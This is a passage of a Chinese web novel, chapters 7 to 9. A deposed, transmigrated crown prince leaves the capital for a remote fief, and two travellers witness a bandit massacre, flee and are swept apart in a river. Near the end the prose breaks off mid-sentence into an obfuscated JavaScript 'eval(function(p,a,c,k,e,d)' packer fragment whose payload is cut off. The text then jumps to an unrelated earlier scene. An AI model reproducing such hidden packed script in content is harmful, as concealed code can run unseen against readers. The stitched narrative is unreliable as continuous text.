可是最后,他们回齐陵的也没回得了,去余杭的也没去得成。 他们自此分开好久,谁也没猜中故事的走向。 7. 第 7 章 第七章 就在方绾宁踏上牧丘镇土地的同一时间,远在应京的五皇子府内。 刚宣读完圣旨的太监刚走,五皇子俞修衡拿着明黄的圣旨跪在地上许久,却始终没有起身。 直到一旁的关珏关侍卫上前将他扶起,周围的人才发现,五皇子的眼眶红得不行,像是下一秒就要淌出眼泪,但直到他木然的走回屋里时,也没人看见哪怕有一滴泪从他的眼睛里滚出来。 一旁的钱管家用眼神看了看关侍卫,说道:“关侍卫,依照刚才圣旨的意思,后天咱们就要去往青州的封地了,你看着殿下,时间匆忙,老奴得下去准备一番了。” 关珏点了点头,向他抱拳行了个礼说:“那要辛苦钱管家了。殿下那你放心,有我在,有郁先生在,没事儿的。“ 钱管家回了礼,便下去了。关珏走到厅前,没有进去。他看了眼里面正襟危坐的五皇子,现在该称作渊王殿下的男人,将手中的圣旨摊开来看了一遍又一遍。像是终于接受了一样,整个身子软了下来,靠在椅子上陷入了回忆。 世人皆知,东洲太子俞修衡天赋卓绝,受万千宠爱。生母乃是慈嘉皇后丞相之嫡女江灵意,出生后八个月就被封为太子。 三岁启蒙,四岁便能作诗,五岁熟读四书五经,六岁便作出惊世佳作——《北辰赋》,七岁皇后因病薨逝,由皇帝亲自教养,在四年一次的蓬文宴会上更是吟诵出:为天地立心,为生民立命,为往圣继绝学,为万世开太平。此等传诵不绝的千古绝句。 他八岁学骑射,九岁就能在围猎中夺得第一,十岁入中书省旁听协理,十一岁改良农用水车。 十二岁经历震惊朝野的”李萍血案“。 十三岁为充州周姓工曹遗孀,重新审理两年前因造桥不利致使三十六人遇难的冤假错案,牵连充州官员八十余人,最终以夷周姓工曹三族结案。 十四岁推进田亩分耕制失败。 十五岁秽乱后宫被皇帝当场抓获,幽禁旭阳宫长达七个月。 十六岁在宫宴上当众刺伤二皇子。 十七岁被罢黜太子之位…… 十八岁,俞修衡就在这应京游荡,像是再也没有他的容身之地。 十九岁,封渊王。划了一片穷凶极恶之地——青州,给他作为封地。 ”所以,父皇是不愿再见我了嘛?“ 宣旨的太监回答:”渊王殿下,陛下如今不准你入宫。不过老奴曾听见陛下对着这道圣旨说了一句话。“ ”父皇说了什么?“ ”陛下说,这难道就是你想要的嘛?“ 俞修衡望着窗外快谢了的桃花出神。 所以,这个游戏,算是进入终章了吧,那我……能回家去了嘛。 不用再做太子,也不用再背负期许,他也不想做什么渊王,做什么俞修衡。 哦,对,他不是俞修衡,他明明是张乐川的。 他明明刚过了18岁的生日,在家人们的期许下吹灭了蜡烛。 他明明才拿到了梦寐以求的大学录取通知书。 他明明有着更光明,似朝阳般的伟大前程。 他明明…… 究竟是为什么? 为什么要让他到这里来,为什么又要让他生在宫墙之内,为什么要让他成为太子,为什么要承载那么多祈望的目光,为什么他明明已经努力做到最好,却还是难以如愿。为什么人命那么脆弱,为什么凭他们的一句话就能决定一个家族的生死,为什么他们可以不用偿命,为什么那么残忍要让他看见刑场砍得卷刃的刀,和长阶下流不尽的血。 想来这道封王的圣旨,就是通关的卷章吧。 俞修衡承认这场游戏他输得彻底,但能不能给他一张复活卷轴,让他重新做回张乐川。 张乐川,张乐川。 这里没人知道他其实叫这个名字,只有小时候悄悄告诉了一个对他特别好的宫女,告诉她,他其实来自一个自由的时代,那里的人们可以借助工具上天下海,就算远隔万里也能听见彼此的声音,那里是一个就算打碎杯子也不会被惩罚的时代,那里无限美好。 但第二天这个宫女就因谣传太子失心疯被杖毙了。 从那以后,张乐川这个名字再也没被他提起过。他时刻谨记反复告诫自己,他叫俞修衡,是皇子,更是太子,他以后会成为皇帝,会治理一个拥有千万人口的大国,他要将他在另一个世界所学的知识全都奉献在这里,他要在这部东洲的历史里留下一个恢弘的名字。 但…现在似乎不需要了,俞修衡这个名字也不被需要了。他在阴险诡谲的朝堂斗争中败下阵来,他像一条败犬一般被赶出应京,去往一处荒凉之地了却余生。 他晃了晃脑子,决定不再去想了。不过他还是想记住自己的名字。 张乐川,我叫张乐川。 他决定每天都要在心里念几遍,免得一直没有人叫过这个名字,就连他自己也会忘了。要是自己都忘了,那就真的再也没人知道他的来处了。 郁见深走进房内,看见端坐在窗前小几上的俞修衡脚步顿了顿。他看见他没有流泪,他看见他端着一盏茶久久没有靠近唇边,他只是在出神。 是啊,殿下自从十三岁就没有再软弱过了。他聪慧,他赤诚,他是个仁义的皇子,他从不责罚仆人下属,他还牢记每一个身边之人的生辰,他还会煮面,郁见深年年都会得到一碗。 他跟随在他身边已经很久很久了,他看过他充满锋芒的样子,看过他朝气蓬勃的样子,看见过他在与中书省的官员们吵得不可开交的样子,看见过他深夜不眠改造农用工具的样子,也见过他的冲动,他的惧怕,他的脆弱和自毁…… 今天这道圣旨是他动用了所有关系,朝中一半大员都是已故丞相的门生。让他们去上奏疏求得这道圣旨的。他还去见了二皇子——承王殿下,秘密会谈了一个下午,当然其中艰险不必言说。 还好最终承王同意了,要不然依照现在的局势,他不点头放俞修衡出应京,他是一步也别想走出去。 “五皇子殿下。”郁见深出声将他唤回神。 俞修衡转过头来望向他,“郁先生,现在该叫我渊王了。” 郁见深走了过去,摸了一下茶壶,已是凉了个彻底。“殿下,茶冷伤身。切不可多饮。” 俞修衡朝他笑了一笑,“没事,我已经不怕了。”接着将杯里的茶一饮而尽。 更阑时分,郁见深见俞修衡睡下后。轻手轻脚地出了屋。 今夜无星无月,从远方吹来的风在府中漫无目的的游荡,敲得屋顶上的瓦片噌噌响。郁见深走过游廊,在一片种满百日菊的花圃边停了下来。他好像在看花,又好像没有。檐下的灯笼被风吹得晃来晃去,在他脸上留下深深浅浅斑驳的影子。 “关珏,你不该在这儿。”郁见深忽然开口,明明前一刻还空无一人的游廊突然从阴影中走出一个人来。 “郁先生。”关珏上前行礼。 郁见深没有回头,像是终于被花吸引住了视线,他开口道:“自四年前那一事后,我就让你寸步不离的跟着殿下,你现在不该在这。” “我知道,那边我已经让王霄看着的,先生放心。我前来是想问您一事,得到回答便会离开。” “你说。” “我们是…输了吗?” 郁见深转过头来看着他,借着摇晃的烛火盯着关珏鹰一般锐利的眼睛,他眼神里尽是坚决,没有半分迟钝,“你想认输嘛?” 没等他回答,郁见深继续说:“别怕一时的低谷,人不会永远走下坡路,也别小看了我们在应京里布的局,现在二皇子的风头鼎盛,我们避去青州是个养精蓄锐的好机会。殿下是个很好的人,我们既然选择了他为主,只要他没走上那道坦途咱们就不能认输。” 关珏沉吟许久,”我知道他很好。自他七岁将我救出死囚牢里的时候,我的命就是他的了。我不想他输,我想在他走上那个位置的荆棘路上,流尽我一身的血。“ 说完,又向郁见深抱拳行了个礼,便转身离开了。 郁见深望着他的身影快速走向阴影里,也没看花了,疾步回了西苑。 刚推开房门,就瞧见屋里立着一个人。 那人背对着门,正 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“不给!”郁见深绕过他走向书案,从一本书下抽出一封信递给那人,“我们后天就出发了,你们在京里也别闲着,照计划做知道嘛。” 那人接过信封,捏了捏,回答道:“啧啧,这么厚,你怕自己回来不了了嘛。交代后事呢?” “青州路途遥远,传信不便。回去看后记得烧了。”郁见深也走到画前看了起来,“这幅画你别想了,这是殿下送我的生辰礼,你没看到角落写着:赠先生嘛?还煞有其事的盖了他太子的印信呢。” “哼,不给就不给吧。”那人将信揣在怀里,转身走了,刚掀开窗户,突然回身又说了一句:”一路保重,伯奕。我期待你们回京的那一天,还有,照顾好殿下。“说完便跳窗走远了。 两天后,渊王府众人浩浩荡荡的从应京出发去青州了。 行至城门口,仍无一人来送行。 马车里的俞修衡突然探身出窗外,最后一眼看了这座繁华诡谲的京城,然后头也不回的离开了。他可能有不舍,但他没有不甘。他会在心底想念这座城里的人,却绝不会对这座城再有雨疏风骤般的情绪了。 城楼上,承王殿下俞修寰望着渊王府的马车渐行渐远。终于露出了令他舒心的笑容。 一旁的随从望着车队问到:”殿下,奴才实在不明白您为什么要放他离开。在您眼皮子底下不是更安心嘛?“ 余修寰今天的心情似乎很是不错,便回答他道:”在眼皮子底下有什么好的,他要是出了什么事,那朝中就全是望着我的眼睛。他不在我身边,要是出了什么事,那才跟我没有干系。“ ”那您的意思是在路上,我们可以……“那随从比了一个抹脖子的动作。 ”不用,就让他安安心心的到青州吧,青州那地方我挑了好久才挑中的,作为他的埋骨之地那是最适合不过了。”说完,余修寰的笑容更深了,“走吧,别待太久,父皇可是下了令不准任何人来送行的。” 惊才艳艳的太子殿下啊,从出生就被捧在手心的人,这一下你摔得可踏实? 余修寰大笑着走下了城楼。 皇宫内。 年过五十的建明帝站在廊下朝着城墙外看去。 他问一旁的罗公公:“现在是什么时辰了?他该是走了吧。“ 罗公公回答:”回陛下,巳时三刻了,渊王殿下应该是已经出了应京。“ 建明帝有些恍然,”是吗?“像是在自问自答。”是啊,没人去送他,该是得走得快些。“ 皇帝看着从眼前飞过的小鸟,又说:”走快些吧,再快些。成长是一条很艰难的道路,你得走得再快些,再稳些。这样,谁也抓不住你的脚踝了。自由是一条多奢侈的道路,你以为你拥有了就无忧了嘛?“ 罗公公没有接话,他伺候皇帝三十余年,他看得出来,皇上的心里一直都很在乎这个亲手教养的孩子。 ”走吧。去宣政殿。“建明帝开口道。 罗公公随侍在侧,他看着皇帝冠下已露出了些许白发,尽管陛下的肩膀依旧浑厚,少有病痛。但心中忧思多虑,每每入神。 他知道,陛下不是老了,是倦了。 8. 第 8 章 第八章 “林小迟,你要死啊,别靠我身上!” “绾宁,你就让我靠一下吧,我们在这山里走了两天一夜了,咋连个镇子都没看见?这是我走过最长的路了,之前不是骑马就是乘轿,如今我这双腿都要瘫了。”林小迟仗着身高腿长,将下巴放在方绾宁的头顶,双手环在她肩上,任由她将自己拖着走。 “你问我?不是你说你走遍五湖四海,天底下没有你不认识的地方嘛。”方绾宁也奇怪,昨天出了破庙,明明是沿着官道走的,走着走着却越来越看不见人烟,距离上一家讨水喝的农户已经过了四五个时辰了,如果再找不到歇息的地方,今天只能就在野外过夜了。 “是不是走错了?你还记得牧丘镇是方向嘛?”方绾宁拿胳膊顶了顶身后之人的肚子,问道。 林小迟吃痛,回答:“应当是没有啊,下了那个野渡口后沿着官道走上个一天应当就会到的。可能上一次我是骑马的,现在改用双脚,是有些慢。”林小迟语气有些无所谓,气得方绾宁直翻白眼。 “站好!” 方绾宁吼完林小迟立马直起身来。 “好啦,好啦。”笑嘻嘻的露出一个大狗式的笑容。 方绾宁气消了一半,林小迟虽然是少爷的习性,但还好人不坏,还长得帅。 “你渴不渴,我们再走一段路就得找个林子休息了,太阳快落山了。” 林小迟摇头,“不渴,就是饿了。”话音刚落,他的肚子就非常合时宜的发出了叫声。他尴尬得笑了一下。 方绾宁叹了一口气,将怀里最后一块烧饼拿出来分出一大半给了他,“吃吧,再不吃这天气也该馊掉了。” 林小迟也顾不上嫌弃了,接过去也没有大口的啃,他拿着烧饼细嚼慢咽的样子非常斯文。一看便知道是从小养成的习惯,就算身处困境也会维持富家子弟的体面。 没等方绾宁在心里给他涨分,林小少爷就被烧饼噎到了。 “咳咳……水,绾宁,水……” 她连忙将水囊递到他嘴边,“让你慢点吃吧,我又不会和你抢。” 咕噜咕噜喝了一大口水将那卡在喉咙的烧饼顺下去,林小迟说道,“我没急,就是这个烧饼太干了,剌喉咙。” “再给我一口。”他拿过水囊又喝了一口。 “给我留点啊。”方绾宁去抢水囊,林小迟却把水囊举得高高的,看着她跳起来也够不到的样子,哈哈笑了起来。“没了,我喝完了。”他咧嘴大笑。 方绾宁决定将他在自己心底的分降为负。她瞪了一眼林小迟,伸出脚猛踹了他一下,气鼓鼓的走了。 林小迟在身后一瘸一拐的跟着,“绾宁,绾宁,你等等我,等等我呀!我吐给你还不成嘛?” “去死吧你!” 方绾宁在林中幸好找到一颗桃树,不过不是特别熟,被酸得口水直流。但为了不怠慢五脏庙,方绾宁忍着吃了俩就再也下不去嘴了。 谁知林小迟这畜生居然吃了四个。 “你不觉得酸嘛?” “觉得啊。” “那你还吃?” “我饿。” 他是真好养活啊,怪不得能长那么高。方绾宁心里又给他涨了一分。 入了夜,方绾宁在那棵桃树下做了一个简易收集露水的装置。等到明早就能有水喝了,便安心走到另一棵大树下准备入睡。 “绾宁,我能和你睡嘛。”林小迟悄悄靠近。 “不行,男女授受不亲。”方绾宁拒绝。 “但是我害怕啊。” 方绾宁皱眉,一脸不可置信的表情看着他,“林小迟,你要不要听听你在说什么,你一个身高九尺的大男人你怕什么?你怕这荒郊野岭突然冲出一个人来对你图谋不轨嘛?” 林小迟哂笑,“我没有怕有人对我图谋不轨,我是怕这深山老林里有老虎豹子啥的,万一来一条蛇我更是招架不住呢。”林小迟望着方绾宁星星眼。 “你打住吧。别乌鸦嘴。”好吧,方绾宁也怕这个,靠在一起最好是先对这个大个子下手才好啊,“那你过来坐我旁边,不准干奇怪的事儿啊。” 得到回答,林小迟立马坐到了她身边,靠在树干上闭起了眼睛。乖乖的模样让方绾宁逐渐放下戒心。 “林小迟,你睡觉不会要磨牙吧?” “……我不会。” 方绾宁露出一个浅浅的笑,靠在他身边也沉沉睡去,别说还挺暖和。 天还没醒,月亮挂在夜幕上没有落下。太阳还藏云里,映得远处的山边有阵阵白光。 他们被一阵马蹄声吵闹得睁开了眼。 林小迟刚醒,就见一旁的方绾宁没了踪影。他环视一圈,在周边的一处山坡上发现了她。她躲在一座小土堆下,探出脑袋朝外面望去。 林小迟也悄悄的挪了过去,沿着她的视线往山下看。 一大队人马在道路上疾驰而过,扬起的沙尘遮天蔽日。他们带着刀,蒙着面。去的方向正是方绾宁他们准备去的牧丘镇方向。 方绾宁碰了一下林小迟的胳膊,小声问他:“官道上怎么还有土匪,林小迟,你带错路了吧。” 林小迟也说不清楚,他摸了摸头,回答:“额,我以前来的时候明明很安全啊,绝对没有土匪强盗的。” “以前?什么时候?” “我十五的时候。” 听完,方绾宁不禁仰头露出一个心如死灰的白眼。 我的林小迟小少爷啊,六年前的情报你现在讲出来是要害死我们嘛?方绾宁在心底狠狠问候了他全家一遍,说:“我们现在也不能回头了,路上说不定有这群土匪放哨的人。既然他们出发去了牧丘镇,那我们等到他们回程,就去牧丘镇看看。” 林小迟乖顺得点了点头。 两人在林子里待着直到下午,天气炎热,在树林里还有阵阵清风,时间倒是不难熬。 两人又啃了一遍酸桃子,终于等到土匪回程的马蹄声了。 他们又探头去看。只见他们去时神色凛然,轻装出行,回来时马匹拖着好几辆车走得不快,这群土匪也没再蒙面,露出全是贪婪餍足的表情。方绾宁还看见了一辆拉着人的囚车,里面有几个女人和几个身强力壮的男人。全都蓬头垢面,衣衫褴褛,身上青青紫紫的全是被虐打的痕迹,眼里也尽含着绝望的泪光。 方绾宁不忍再看,林小迟在一旁也没有说话。 俩人等着山坡下的队伍走尽。方绾宁说:“走吧,我们去牧丘镇看看,再小的村镇也该有官府,如今的陛下治国严明,光天化日居然会发生这样的事。” 俩人顺着路没有上道,就在林子赶着日头前往。他们没有再歇一口气,在天黑前赶到了那个被洗劫的村镇。 看着路边歪歪扭扭倒着一块路牌,已经被刀剑一分为二,但还好能看出上面的字。 上面写着的根本不是牧丘镇,这个地方就是一个叫临河村的小村庄。 原来他们出了破庙就选错了路,所以走了两天都看不到林小迟口中所说的牧丘镇。但方绾宁看着眼前的惨况根本没有心思再去责怪他了。 土匪们放的火还没燃尽,还能看见路边燃烧着的尸体和房屋。方绾宁和林小迟走进村子还能感受到火舌在他们身上舔过的灼热感,地上也全是血染成的殷红色,空气中弥漫着烤焦的肉味和柴草的烟熏味。 方绾宁一阵反胃,弯下腰吐了起来,但胃里实在没什么东西,她只能张着嘴干呕。林小迟破天荒的没有说些不着调的话,他拍了拍方绾宁的背,说,“你还好嘛,我们去前面看看。”他皱着眉,脸上是怜悯的神情。方绾宁是个从来没见识过冷兵器时代的人,她脑子如今全在嗡嗡响,频频闪过她刚才在路边看到的那些凄惨的尸体。 林小迟此刻显得有些淡然,她也许知道,这种场面他似乎也是第一次见,他只是面上表现得平静,心里或许也如自己一般在发怵。 他们往前走了一段路,没有一个活人,火快燃尽了,露出房屋光 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是一只断手,被小姑娘藏在怀里,还能看得清是个年轻女人的手,上面还戴着一只通透的玉镯。 方绾宁被那只断手吓了一跳,差点将倚靠在怀里的小女孩松了手。她身体有些发抖,眼里泛着泪光,“小姑娘,你别怕,别怕啊,姐姐这就带你去找大夫,你再坚持一会儿。” 小姑娘没有说话,嗓子应该是被烟熏伤了的,她拿着那只断手眼泪在脸上流出了一道深深浅浅的沟壑,方绾宁看着心像是被捣碎了一般疼的不行,“这…这是你娘的玉镯嘛,真好看,我们带你去找她吧,你别睡着了,我们带你去找娘。” 说着就要起身,但还没走出那片废墟,小姑娘就咽了气,方绾宁清楚的听见她在生命的最后一刻,放任已经嘶哑的嗓子喊出了最后一声“娘”。 那个小女孩就死在方绾宁的怀里,临死时还握着母亲的手掌。方绾宁抱着她泪如雨下。 她第一次离死亡那么近,近到上一秒还能感受到她的呼吸,下一刻就只是一具空荡荡的尸体了。还是那么小的孩子,却被无情的收割了性命。 方绾宁憎恨着那群土匪,但她现在除了憎恨又实在别无他法。 方绾宁和林小迟将这个女孩的尸体埋在了村外一处开满鲜花的地方,他们还将那只断手另起了一处新坟,就在小女孩的边上。让她们母女在此处相伴。 天色渐渐黑了下来,昏暗的暮霭,将成片的阴影投在了这两处坟茔上。暮色四合,无边无际的天幕渐渐从湛蓝转向了墨色。 方绾宁还沉浸在巨大的悲伤里,她低着头没有说话。旁边的林小迟却开口道:“嗯,也算入土为安了。可…那这只镯子怎么办?“他忽的举起手中的玉镯,脸上是疑问的表情。 方绾宁听见这话也来顾不得悲伤了,猛的转头看他,“你偷人镯子干嘛?还不赶紧给人放回去!你有没有良心啊。” 林小迟不慌不忙,“哎,你先别急着生气啊,我那么大一个少爷还能贪死人的镯子不成?我只是在想这只镯子是该随着母亲,还是该葬在女儿的坟里。” “肯定是母亲啊。”这还用问,谁的遗物就应该归谁。 “但很明显,这只镯子的主人临死前被送给了女儿啊。” “那是送嘛?你送人镯子连手一起送的?”方绾宁都要被他气笑了,“你还不赶紧给那小女孩的母亲埋进去!” “哦,好吧。”林小迟还想狡辩一番,但碍于方绾宁的眼神没有吭声,起身准备挖坟。 突然,一阵破空声从身后传来,一只羽箭精准的射在了那块木头做的碑上。 “不用埋进去了,正好给爷爷我了!” 林小迟回头看了一眼,眼睛瞬间瞪大了。方绾宁也意识到背后的人大概是什么身份了,她机械式的慢悠悠转过头。看见有俩人骑在马上,身上的装扮跟她早上在山坡上看见的土匪一模一样。 方绾宁被惊得心都快跳出喉咙了。 9.第 9 章 第九章 “三哥,你果然没记错,是有一只成色特别好的镯子算漏了。”矮个儿土匪说。 “我就知道,当初砍那娘们儿的时候是发现她手里戴着个玉镯,砍完居然发现不见了。”高个儿土匪说。 “这不就在这儿嘛,哈哈…还给你附送了一个更嫩的女人,不枉费咱们重新跑一趟啊。”矮个土匪继续说。 “是啊,这个女带回去伺候咱们,那男的看着有些力气,带回去做苦力!”高个土匪继续说。 我去啊!你们能别演相声了嘛,我都快被吓得尿裤子了呀,喂!方绾宁内心三千只草泥马疯狂跑过。 “绾宁。”林小迟在旁边小声喊她。 她侧了侧头。 “我数三二一,我们快跑!” 什么?林小迟你疯啦,他们手里有刀有箭的,而我连缚鸡之力都没有,你也是废柴一根,拿什么跑?拿勇气嘛?方绾宁心里真的要给这爷跪了。 “一!” 林小迟说完,将镯子往怀里一放,拉起一旁跪得规规矩矩的方绾宁撒腿就跑。 大哥!你是不是不识数啊,你的三和二呢! 但现在也管不了那么多了,跑都跑了,那就让她的小短腿努把力啊。 忽然,身后又传来了一道破空的箭声。 啊,吾命休矣……我就知道他们可是有武器的! 方绾宁还以为自己今天就要被断送在那两个土匪手里了,谁知旁边的林小迟拿出一块还挺长的木块挡了一下,刚好拦住了那只箭。 好吧,方绾宁没看错的话,这个木块儿就是刚才我们立在坟前的墓碑吧,林小迟你什么时候拿的? 你…你身手真不错啊! “别,别用箭,死了多没意思啊,就让他们跑,咱们骑马追就行,等他们没力气了,那还不是咱们的囊中之物?”高个儿的土匪说。 “还是三哥想得周到,等他们跑累了,那小娘子也没有反抗的力气了,那还不是任我们为所欲为?嘻嘻嘻……”矮个儿的土匪说。 林小迟将墓碑丢掉,把一旁明显跟不上的方绾宁一把搂过,扛在肩上。整体速度瞬间提升一个档次。 方绾宁在他肩上颠得五脏六腑都快移位了,虽然难受但她心里瞬间对林小迟肃然起敬啊,林少爷果然没白吃饭,关键时候一顶一的靠得住。 林小少爷快跑!让我们突出重围! 亡命跑了一段路,他们来到了一处悬崖边,林小迟的速度慢了下来。 方绾宁示意他将自己放下,林小迟也没客气,让方绾宁结结实实的摔了个屁股墩儿。 她也没怪他,林少爷脸上全是汗水,脖子上青筋都起来了,他已经很努力了。 但身后的马蹄声越来越近。 前方是悬崖,涯下是湍急的河水。 “要不,咱们别跑了,你亮出你的身份,让你大哥带着钱来赎我们?”方绾宁如此建议。 “不行!”林小迟一口拒绝,“你知道你被他们带回去会经历什么嘛?就你这小胳膊小腿,我大哥还没带着银子到,你就一命呜呼了。” 方绾宁好像理解到了他的话,沉默了下来。 “咱们跳崖吧,摔死了别人还以为咱俩殉情,多浪漫啊。”林小迟喘匀了气,出了个不太好的主意。 “谁跟你殉情!我们认识很久嘛?跳崖会死的,会死啊,林少爷。”方绾宁立马否决了。 林小迟也没管方绾宁接受不接受,当即脱了衣服将她的手绑上,另一边缠上自己的手腕。“别犹豫了,那俩土匪快到了!” 说着,那俩土匪□□的笑声就传了过来。 “我不会让你死的!”林小迟拉过方绾宁的身子,坚定的看向她的眼睛,他又重复了一遍,“方绾宁,我不会让你死的,你相信我!” 这是方绾宁看过林小迟眼睛最亮的一次了,刚升起的月亮将光洒在他身上,像真的赐给了他魔力一般。 她决定再相信他一次,在绝境中的无条件信任,还陪着他跳悬崖。如果俩人活下来的话,那不得把他拿捏得死死的? 接着俩人就义无反顾的冲着悬崖往下跳了,还助跑了一段。 “三哥!那俩人跳崖了。”矮个儿的土匪说。 “妈的!这不要命的,早知道一箭射穿他们了。”高个儿土匪说。 “那我们不白跑一趟了嘛?”矮个儿土匪说。 “这怎么能叫白跑呢。”高个儿土匪有点心虚,但不多,“咱们不也看了一出好戏嘛。” 果然主角跳崖必然不会死,这铁律,她方绾宁今天是亲身验证了,没准儿她一会儿在周围找找,还能发现一本绝世神功的秘籍。 只见方绾宁和林小迟俩人双双挂在了一棵歪脖树上。上也上不去,下…下也不敢下。 “哈哈,我就知道林小爷我不会那么轻易死掉的,果然啊!”林小迟现在臭屁得要死,他觉得他现在牛逼爆了。 方绾宁也觉得他很帅,但能不能先别帅了,先想办法要紧啊。“林小迟,你别动了,再动这棵树就要被你摇断啦!” “没事没事,我们既然都能从土匪刀下留一命,绝不会将性命断送在一棵歪脖树上。”林小迟欣喜若狂,半点危机感都没有,他继续说:“绾宁,说真的,假如我们逢生了,你就别走了,做我的……” 果然人不能太得瑟,这棵歪脖树真的断了。方绾宁和林小迟双双掉进了湍急的河水里。 林小迟最后说的到底是什么?做他的什么?丫鬟?还是朋友?方绾宁没听清。 俩人掉进河里,还被河水冲得四散。 林小迟系的绳子一点也不牢靠,方绾宁被冲散的时候心想,下一次见到的时候就教他怎么打死结好了。 然后她就被河水拍起的浪糊了一脸,瘦小的身子在这水里根本使不上力气,她灌了好几口水。终于稳定了身体,准备冲出水面。 谁知一个大浪打来,将她掀翻在河底的岩石上撞破了头。 方绾宁最终还是失去了知觉。 等她醒来的时候,发现她正躺在一辆马车上。 方绾宁感到脑袋一阵巨痛,本想坐起来的她又晕了过去。 俞修衡自离京后,一直马不停蹄的往青州方向走。 这是他第二次出那么远的门,第一次是去充州。但上一次太急切从没来得及欣赏沿路的风景,这一次,他终于可以好好的游览一番了。 行至广安与齐陵交界处,听郁先生说此地有一处莲池,里面有一株荷花是孤植,品种叫做:明堂雪。 听闻前几年还有三株,富贵豪奢之人想移植栽种,挖去两株。可那荷花实在矜贵离了这莲池,竟没活过三日便枯萎。 此后,那莲池中央就只剩了那一株明堂雪了。 渊王府人马驻扎此地停留一天,等俞修衡赏完那荷花再出发。 方绾宁在马车中缓缓醒来,神色还有些茫然。她看着车顶,一时没反应过来是在哪儿,忽又想起前两天醒过来一次,那一次车顶明显是在晃,想来是在赶路。 方绾宁坐起身来,抬手扶了下头,却摸到一圈厚厚的纱布。但头已经没那么疼了,也不知是躺了多久,捡回一条命真是大难不死,就是不知道后福在哪儿。 方绾宁环顾起这俩马车,马车空间不大,躺了一个方绾宁,其他空闲的地方都堆满了货物,看来应该是个商队。方绾宁放下心来,如果跟着商队,不仅不用露宿荒郊野岭,还不怕土匪强盗了,据她所知,一般走商的车队要么早就打点过山头,要么配备的有专门的护卫队,不管是哪种,生命财产安全都十分有保障。 那不是就可以快速到达齐陵了?方绾宁突然想到。 哎?林小迟呢?方绾宁有些疑惑,俩人同时掉下山涧,自己获救了,他应该也没什么大问题才是。 方绾宁心想,他可能没有和自己一辆马车吧,依照他那个身形,恐怕他的脚得伸到马车外。她想到此处轻声笑了一声,掀开帘子准备下车。 早在马车上便听见外面的人声嘈杂,猜测应该有不少人,一掀开帘子,荒山野岭之地还能看见人流摩肩擦踵,啧啧,想不到那么多。 因着渊王殿下要在此处歇脚一天,府中人马早就开始安营扎寨了。光是帐篷就搭了十七八个,再加上远处还有个圆顶的大型帐篷,这样算下来,这商队人员可真心不少哇,方绾宁有些讶然。 马车外,一个大娘注意到了方绾宁,“哎!姑娘,你醒啦?” 方绾宁也瞧见了她,赶紧下车打招呼,“大娘,你好,是你们救了我嘛,实在是感激不尽。”方绾宁弯腰行了个大礼。 那位大娘赶紧扶起她,笑着对她说:“不用行此大礼,姑娘也是你命大,头上受了那么严重的伤还能挺下来,实在是不易。前两天你还高烧不退,不过还好有郁先生的药,你现在还有什么不适嘛?” 想不到这次受伤竟然如此艰险,毕竟在古代,发个烧,或者一道伤口就能简简单单要了人的命,还好这具身体的底子倍儿棒。 方绾宁再拜,“救命大恩无以为报,那位姓郁的先生我一定当面致谢。”当务之急还是先打听林小迟在哪儿,他会不会受了更严重的伤?“敢问大娘,跟我在一起的同伴在哪儿?” “你的同伴?”大娘歪头思索了一下,说:“没有啊,当时发现你的时候只有你一人躺在河岸边,没见着你什么同伴。” 什么?那林小迟飘到了哪儿?他有没有获救? 大娘见她神色惊恐,猜想她肯定是在担心她那同伴,连忙安抚:“姑娘,你先别急,我们明天就能到齐陵城了。齐陵是个大州府,到时候你进城雇一队人慢慢找,定能找到!” “齐陵!我们马上就要到齐陵了嘛。”方绾宁愕然,他们掉下悬崖的地方连广安都没到,如今一觉醒来居然快到目的地了,“敢问大娘,我在马车上昏睡了几日?” “哎哟,我算算啊…前前后后加起来估计得有十一二天的样子了吧。”大娘回答,像是突然想起什么似的,她拍了拍脑袋,又说,“姑娘,你躺了那么多天肯定饿了吧,我去给你弄点吃的来。” 大娘说完便下去给她拿吃食去了,方绾宁愣在原地竟忘了道谢。她现在脑子全乱了,那么长的时间,林小迟会不会出什么事?想到这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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方绾宁转过身子,双手叉腰,仰着脸说:“那我问你几个问题。” “你说。” “第一个,你大哥叫啥?” “林云奕啊。” “二哥呢?” “林云潮。” “三哥?” ”林云昼。“林小迟摸不着头脑,方绾宁她到底想问什么? “那你四姐呢?” “林嘉熙呀,有什么问题?” “问题大了,我再问你,你叫什么?” “本小爷行不更名坐不改姓,我叫林小…”他忽然意识到什么,眸光一闪,“你就是耍我呢,我不回答了。” 这下该轮到方绾宁放肆笑了,“你自己也知道吧,哈哈…你四个哥哥姐姐的名字都好听得诗情画意,怎么一到你就叫林小迟了?这就好比一家人都叫春花夏荷秋月冬雪,突然出了一个老幺却叫狗蛋儿一样嘛。哈哈哈哈……”方绾宁笑得眼角都沁着泪,一旁的林小迟脸却臭得不行,赶紧过来捂住了她的嘴,“别笑了,别笑了你。” 林小迟的大掌覆在方绾宁的脸上,差点喘不过来气,你捂嘴就捂嘴,堵鼻子干嘛? 方绾宁废了点力气挣开,“林小迟,你就老实说,你不会就是个私生子吧,没事,你说实话,我不嘲笑你,人嘛,在外总是要面子的,我都理解。” 他涨红着脸,无奈解释:“我真的是林家的小少爷,你爱信不信。我双亲恩爱无双,我父亲更是那么多年连个妾室都没有,我母亲怀我的时候都四十有三了,生产的时候凶险万分,产后也是养了好些年的身子……” 方绾宁注意到林小迟的情绪好似流水一般往下掉,没再笑了,她大起胆子踮着脚摸了摸他头,还没摸到就听见他继续说:“所以 ,我是他们迟来的孩子,不是私生子好不好。”他撇嘴,挥开方绾宁的手,大步向前走。 她赶紧追上去抓住他的手腕,“好啦,好啦,你别生气了,你想你娘亲了吧,我们去找完你四姐,就去看你母亲去。” “我母亲早在我八岁的时候就去世了…”林小迟哑声道。 方绾宁连忙打了自己一个嘴巴子,“对不起对不起林少爷,我不会说话。你不是私生子,你是明珠,你是金宝宝,你是你全家的娇娇儿,你是你母亲留在这世上最大最绚烂的遗产了。” 林小迟听了她的话呼了一口气,转头看向手边这个才长到自己肋骨的小姑娘,“你说的没错。” 他笑了,双眸如有神光。 他是他母亲留在这世上最独特的遗物了。 “方绾宁,你有时候嘴巴是真的挺坏的,像喝了三斤砒霜。” 喂! “但我喜欢你刚才说的话,所以,小爷我决定赏你个好东西。” “什么?什么?是金子嘛?”方绾宁决定以后都捧着他,谁会不喜欢一言不合就要撒钱的富二代呢? 